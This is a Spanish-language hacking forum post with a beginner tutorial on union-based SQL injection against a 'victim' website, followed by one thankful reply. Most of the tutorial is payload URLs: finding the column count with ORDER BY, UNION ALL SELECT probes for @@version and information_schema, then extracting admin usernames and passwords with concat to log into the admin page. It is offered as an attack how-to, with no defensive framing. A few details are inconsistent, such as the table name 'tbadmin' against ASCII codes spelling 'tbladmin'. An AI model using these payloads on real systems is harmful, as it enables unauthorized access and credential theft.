SQLi Básico

Iniciado por TeNeX, Febrero 07, 2013, 10:50:43 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Buenas, les traigo tambien este "mini tuto" que hice basado en unos videos que ví espero les sirva para ir iniciando

SQLI Beginners

- verificamos en la url de la victima si es vulnerable a sqli realizando una busqueda en su sitio web, y colocando una comilla al final No tienes permitido ver los links. Registrarse o Entrar a mi cuenta'  <- si nos arroja un resultado del tipo "verifique su sintaxis" significa que es vulnerable

- después de esto utilizando la sentencia "order by" sacaremos el num de columnas colocando un "-" despues del singo de "=", dos guiones al final de la sentencia, quedando de la siguiente manera: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta order by [numero aleatorio]--

- enla parte de "numero aleatorio" irémos probando numeros como 10,11,12,13 y así sucesivamente, si no sucede nada intentamos con un numero mayor, hasta que obtengamos un error... lo cual significará que el numero de columnas será el numero anterior al error es decir:  si en 13 obtuvimos el error entonces el numero de columnas será 12

- ahora encontraremos los numeros vulnerables, esto lo lograremos con "union all select numero de columnas" y -- al final, recordemos que el numero de columnas lo obtuvimos en el paso anterior, quedando así:
www.victima.com/indice.php?id=-10 union all select 1,2,3,4,5,6,7,8,9,10,11,12--

- ya habrémos obtenido una serie de numeros... ¿como saber cual usar y para que usarlo? simple, el (o los) numero que aparezca como si fuera un enlace (subrayado) será el que nos permitirá inyectar

- ahora suponiendo que el numero vulnerable fue el 6, sacaremos ahora la version de la base de datos con "@@version" quedando así:
www.victima.com/indice.php?id=-10 union all select 1,2,3,4,5,@@version,7,8,9,10,11,12--

La version es inportante pues de ser menor a 5.0 tendríamos que usar bsqli

- ahora sacaremos el nombre de las tablas, para ello cambiaremos @@version por table_name  y despues del ultimo numero colocaremos "from information_schema.tables--"
www.victima.com/indice.php?id=-10 union all select 1,2,3,4,5,table_name,7,8,9,10,11,12 from information_schema.tables--

- en los resultados arrojados buscamos la tabla que nos interesa accesar, en este caso la de adminitrador... suponiendo qeu se llame "tbadmin" pasaremos a convertir el nombre de la tabla que nos interesa en ascii

www.victima.com/indice.php?id=-10 union all select 1,2,3,4,5,column_name,7,8,9,10,11,12 from information_schema.columns where table_name=char(116,98,108,97,100,109,105,110)--

116 = t
98  = b
108 = l
97  = a
100 = d
109 = m
105 = i
110 = n

ya tenemos la información... ahora vamos a scar de las tablas "username" y "password" algunos datos

- vamos a escribir en lugar de "column_name" concat(username,0x3a,password) y despues del 12 vamos a escribir "from tbladmin"

www.victima.com/indice.php?id=-10 union all select 1,2,3,4,5,concat(username.0x3a,password),7,8,9,10,11,12 from tbladmin--

esto nos arrojará el usuario y el password

- ahora tenemos que encontrar la pagina del administrador para probar el login y el password

By TeNeX

Muy bueno Gracias por ponerlo, algundia aprendere a hacer sqli a Ciegas sin ver codigos xD...

Saludos...


Un Hacker sabe de la materia;
Un Lamer Cree Saberlo;
Y yo solo aprendo.